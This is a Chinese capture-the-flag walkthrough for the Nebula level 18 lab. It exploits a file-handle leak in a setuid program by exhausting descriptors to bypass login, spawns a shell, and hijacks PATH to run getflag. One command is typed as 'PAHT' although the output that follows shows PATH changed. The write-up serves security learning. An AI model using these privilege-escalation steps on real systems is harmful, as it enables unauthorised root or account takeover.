这关比较特殊, 根据题目的提示,有简单的、容易的和最难的三种方法突破这关。在此,我只讲一种简单的方法——通过资源未释放漏洞。另外的方法可能是溢出和字符串格式化漏洞,还有空指针问题。由于这些已经有点超出基础学习的范围了,所以就不说了。
注意
本文利用“资源未释放漏洞”是可以顺利通关了的,但是我觉得官方给出的代码有问题如果程序中有fclose,那么本文的方法就行不通。我查阅过的国外一些技术员的博客,他们突破的时候,都没有32行处的fclose。为此,我逆向了系统中flag18,也没有看到login函数里调用过fclose函数。并且,我看官方更新的源码中,似乎是在两个多月前加上的fclose(),而我却是在一个多月前下载的Exploit Exercises,我今天也重新下载了镜像,做了实验,确定能够通关,并且也逆向了flag18,确定了目前的flag18是没有调用fclose的。如果你无法利用本文的方法通关的话,先自己尝试是否能消耗完1024个句柄,如果不能消耗完,很可能程序中已经加了fclose,这时,你可以通过电邮联系我,一起讨论下另外的突破方法:lx#shellcodes.org。而在本文中,我将忽略掉32行的fclose()。
程序代码如下:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <getopt.h>
struct {
FILE *debugfile;
int verbose;
int loggedin;
} globals;
#define dprintf(...) if(globals.debugfile) fprintf(globals.debugfile, __VA_ARGS__)
#define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) fprintf(globals.debugfile, __VA_ARGS__)
#define PWFILE "/home/flag18/password"
void login(char *pw)
{
FILE *fp;
fp = fopen(PWFILE, "r");
if(fp) {
char file[64];
if(fgets(file, sizeof(file) - 1, fp) == NULL) {
dprintf("Unable to read password file %s\n", PWFILE);
return;
}
fclose(fp);
if(strcmp(pw, file) != 0) return;
}
dprintf("logged in successfully (with%s password file)\n", fp == NULL ? "out" : "");
globals.loggedin = 1;
}
void notsupported(char *what)
{
char *buffer = NULL;
asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what);
dprintf(what);
free(buffer);
}
void setuser(char *user)
{
char msg[128];
sprintf(msg, "unable to set user to '%s' -- not supported.\n", user);
printf("%s\n", msg);
}
int main(int argc, char **argv, char **envp)
{
char c;
while((c = getopt(argc, argv, "d:v")) != -1) {
switch(c) {
case 'd':
globals.debugfile = fopen(optarg, "w+");
if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg);
setvbuf(globals.debugfile, NULL, _IONBF, 0);
break;
case 'v':
globals.verbose++;
break;
}
}
dprintf("Starting up. Verbose level = %d\n", globals.verbose);
setresgid(getegid(), getegid(), getegid());
setresuid(geteuid(), geteuid(), geteuid());
while(1) {
char line[256];
char *p, *q;
q = fgets(line, sizeof(line)-1, stdin);
if(q == NULL) break;
p = strchr(line, '\n'); if(p) *p = 0;
p = strchr(line, '\r'); if(p) *p = 0;
dvprintf(2, "got [%s] as input\n", line);
if(strncmp(line, "login", 5) == 0) {
dvprintf(3, "attempting to login\n");
login(line + 6);
} else if(strncmp(line, "logout", 6) == 0) {
globals.loggedin = 0;
} else if(strncmp(line, "shell", 5) == 0) {
dvprintf(3, "attempting to start shell\n");
if(globals.loggedin) {
execve("/bin/sh", argv, envp);
err(1, "unable to execve");
}
dprintf("Permission denied\n");
} else if(strncmp(line, "logout", 4) == 0) {
globals.loggedin = 0;
} else if(strncmp(line, "closelog", 8) == 0) {
if(globals.debugfile) fclose(globals.debugfile);
globals.debugfile = NULL;
} else if(strncmp(line, "site exec", 9) == 0) {
notsupported(line + 10);
} else if(strncmp(line, "setuser", 7) == 0) {
setuser(line + 8);
}
}
return 0;
}
资源未释放漏洞就是程序使用了系统资源(比如申请了内存空间、打开了文件),但没有(正确)释放资源,这个漏洞出现在login函数中,因为调用了fopen,但并没有调用fclose释放资源。如果25行的if(fp)为假,globals.loggedin将会被赋值为1,globals.loggedin=1表示的是成功登录。导致fp返回空的原因有很多,比如句柄用完了、没有权限操作指定的文件等等。
由于是个交互式程序,不断接受用户输入的指令,每调用一次login执行,就会消耗一个句柄,直到句柄消耗完毕。Linux默认情况下,一个进程只可以打开1024个句柄,可以通过ulimit -n命令查看:
level18@nebula:/tmp$ ulimit -n 1024
虽然显示的是1024,但是标准输入、标准输出、标准错误输出会分别占用一个句柄,所以最终供程序可用的只有1021个
攻击这段代码的方法便是不停让它向系统申请句柄,让程序耗尽句柄,让login的代码执行到globals.loggedin=1,之后就可以向程序发送“shell”命令。代码第98行说明要执行“shell”指令,globals.loggedin必须为1。
先在/tmp下建立一个脚本,输出1021个“login lu4nx”命令:
for i in {0..1020};
do
echo 'login lu4nx'>>/tmp/login;
done;
因为Linux的标准输入、输出和错误各需要一个句柄,所以只需要1021个。 之后执行:
cat /tmp/login | /home/flag18/flag18 -d /tmp/debug
然后看看debug中的内容:
level18@nebula:/tmp$ cat debug Starting up. Verbose level = 0 logged in successfully (without password file)
flag18的-d参数是输出信息到指定的文件中,具体请参考源码。根据输出的内容,说明登录成功了,如果登录成功了,就可以执行“shell”命令,在/tmp/login中追加一个“shell”命令:
level18@nebula:echo 'shell' >> /tmp/login #向login文件中追加一行“shell”字符串 level18@nebula:cat /tmp/login | /home/flag18/flag18 -d /tmp/debug
再看输出:
level18@nebula:/tmp$ cat login | /home/flag18/flag18 -d debug /home/flag18/flag18: error while loading shared libraries: libncurses.so.5: cannot open shared object file: Error 24
很明显,是因为句柄耗尽了,所以无法获得句柄,自然打开文件就失败了。不过还好官方提供的源码中有个closelog命令:
} else if(strncmp(line, "closelog", 8) == 0) {
if(globals.debugfile) fclose(globals.debugfile);
globals.debugfile = NULL;
}
执行closelog命令,可以直接释放一个句柄。所以在“shell”命令执行前,先释放一个句柄,直接在/tmp/login的“shell”行上方加入closelog后再执行:
level18@nebula:/tmp$ cat login | /home/flag18/flag18 -d debug /home/flag18/flag18: -d: invalid option Usage: /home/flag18/flag18 [GNU long option] [option] ... /home/flag18/flag18 [GNU long option] [option] script-file ... GNU long options: --debug --debugger --dump-po-strings --dump-strings --help --init-file --login --noediting --noprofile --norc --posix --protected --rcfile --restricted --verbose --version Shell options: -irsD or -c command or -O shopt_option (invocation only) -abefhkmnptuvxBCHP or -o option
这个提示的错误其实不是来自flag18的,而是在/bin/sh接受参数时的问题,加个–init-file就可以了:
level18@nebula:/tmp$ cat login | /home/flag18/flag18 --init-file -d debug /home/flag18/flag18: invalid option -- '-' /home/flag18/flag18: invalid option -- 'i' /home/flag18/flag18: invalid option -- 'n' /home/flag18/flag18: invalid option -- 'i' /home/flag18/flag18: invalid option -- 't' /home/flag18/flag18: invalid option -- '-' /home/flag18/flag18: invalid option -- 'f' /home/flag18/flag18: invalid option -- 'i' /home/flag18/flag18: invalid option -- 'l' /home/flag18/flag18: invalid option -- 'e' debug: line 1: Starting: command not found debug: line 2: syntax error near unexpected token `(' debug: line 2: `logged in successfully (without password file)'
依旧还是要提示错误,请注意:
debug: line 1: Starting: command not found
提示找不到Starting命令。根据前面玩过的关卡的经验,看到这个就应该联想到前面有一关是关于攻击环境变量的,这种情况我们可以在环境变量上下手脚,在/tmp目录里新建一个Starting,加上+x权限。Starting是一个脚本,内容是将getflag的输出重定向到/tmp/output中:
level18@nebula:/tmp$ touch Starting level18@nebula:/tmp$ chmod +x Starting level18@nebula:/tmp$ echo "getflag>/tmp/output" > Starting
并修改PATH变量:
level18@nebula:/tmp$ PAHT=/tmp:$PATH level18@nebula:/tmp$ echo $PATH /tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
再次执行后,只看到这么两句错误:
debug: line 2: syntax error near unexpected token `(' debug: line 2: `logged in successfully (without password file)'
这时并没有提示找不到Starting了。同时,再看看目录下,多出一个output:
level18@nebula:/tmp$ cat output You have successfully executed getflag on a target account
说明已经成功提权。
参考: